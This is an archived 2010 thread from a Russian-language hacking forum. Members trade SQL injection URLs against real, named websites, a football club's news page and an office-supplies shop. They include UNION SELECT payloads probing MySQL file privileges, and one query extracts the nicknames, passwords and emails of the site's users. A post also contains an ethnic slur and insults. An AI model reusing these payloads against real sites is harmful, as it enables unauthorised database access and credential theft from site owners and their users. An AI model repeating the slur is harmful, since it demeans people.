ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
17.07.2010, 05:32
|
|
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
Провел на форуме:
2212846
Репутация:
56
|
|
Сообщение от [Feldmarschall
"]
[Feldmarschall] said:
file_priv не для чтения файлов а для инклюдинга.
File_priv распространяется только на чтение файлов и на их запись, ни о каком инклудинге речи идти не может.
|
|
|
17.07.2010, 05:59
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147
Репутация:
211
|
|
ребята, а где вы тут file_priv видите?
|
|
|
|
17.07.2010, 11:47
|
|
Новичок
Регистрация: 26.04.2010
Сообщений: 26
Провел на форуме:
136979
Репутация:
53
|
|
file_priv - доступ к файлам на сервере!
вперед читать мануалы, ыыы
цитирую:
Сообщение от None
File-пользователь,обладающий этим правом,может выполнять команды LOAD DATA INFILE и SELECT...INTO OUTFILE и может читать и записывать любой файл на сервере MySQL.
:
Я думаю ты меня не понял, этот вариант возможен, но не рационален... ты же штаны через голову не одеваешь?
Извини за грубое сравнение ) ты наверное один стараешься здесь все поддержать ) |
|
|
|
17.07.2010, 12:03
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147
Репутация:
211
|
|
http://www.fcdinamokirov.ru/2010/news10.php?seldate_down=20110101+union+select+1,2, 3,FILE_PRIV,5,6,7+from+mysql.user+--+
где вы здесь увидели file_priv Y? В упор не вижу....
|
|
|
|
17.07.2010, 12:15
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от 547
547 said:
http://www.fcdinamokirov.ru/2010/news10.php?seldate_down=20110101+union+select+1,2, 3,FILE_PRIV,5,6,7+--+
где вы здесь увидели file_priv Y? В упор не вижу....
да нет там нихрена...хз что развели демагогию...никаких прав у юзверя в данном случае нет..и говорить о том как можно было бы сделать , если бы были эти права..я считаю нонсенсом....
|
|
|
|
17.07.2010, 15:54
|
|
Guest
Сообщений: n/a
Провел на форуме:
2597
Репутация:
0
|
|
почему не показать номер?
http://www.ofisdubai.com/brandproductlist.php?brandid=-9999 and 1=0 UNION SELECT 1,2,3,4+--+
http://www.ofisdubai.com/brandproductlist.php?brandid=-9999 and 1=0 UNION SELECT 1,2,3,4+--+
|
|
|
|
17.07.2010, 16:03
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от happygirl
happygirl said:
почему не показать номер?
http://www.ofisdubai.com/brandproductlist.php?brandid=-9999 and 1=0 UNION SELECT 1,2,3,4+--+
http://www.ofisdubai.com/brandproductlist.php?brandid=-9999 and 1=0 UNION SELECT 1,2,3,4+--+
http://www.ofisdubai.com/newsletterContent.php?id=-8+union+select+1,2,3,4,5
|
|
|
|
17.07.2010, 17:01
|
|
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
Провел на форуме:
2212846
Репутация:
56
|
|
Сообщение от 547
547 said:
http://www.fcdinamokirov.ru/2010/news10.php?seldate_down=20110101+union+select+1,2, 3,FILE_PRIV,5,6,7+--+
где вы здесь увидели file_priv Y? В упор не вижу....
Таким запросом ты его никогда в жизни и не увидишь.
|
|
|
|
17.07.2010, 18:26
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от happygirl
happygirl said:
почему не показать номер?
http://www.ofisdubai.com/brandproductlist.php?brandid=-9999 and 1=0 UNION SELECT 1,2,3,4+--+
http://www.ofisdubai.com/brandproductlist.php?brandid=-9999 and 1=0 UNION SELECT 1,2,3,4+--+
потому что чуркой быть, это судьба... вы хоть читать умеете? или с пастбища научились в интернет выходить, ковычку подставили и все..ХАЦКЕР мега кул....модеры потрите мой пост если я не прав...предлагаю ввести правило что бы таких юзверей по повторному вопросу по стандартной скуле отсылать как минимум на день в бан... и ссылку на мануал по скулям датЬ...будет и время и источник ..
|
|
|
|
17.07.2010, 19:09
|
|
Guest
Сообщений: n/a
Провел на форуме:
20501
Репутация:
5
|
|
Сообщение от 547
547 said:
http://www.fcdinamokirov.ru/2010/news10.php?seldate_down=20110101+union+select+1,2, 3,FILE_PRIV,5,6,7+--+
где вы здесь увидели file_priv Y? В упор не вижу....
Чтение файлов нету, максимум что можно от сюда достать так это юзеров (159)
http://www.fcdinamokirov.ru/2010/news10.php?seldate_down=20110101+union+select+1,2, 3,concat_ws(char(58),nick,password,email),5,6,7+fr om+users--
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
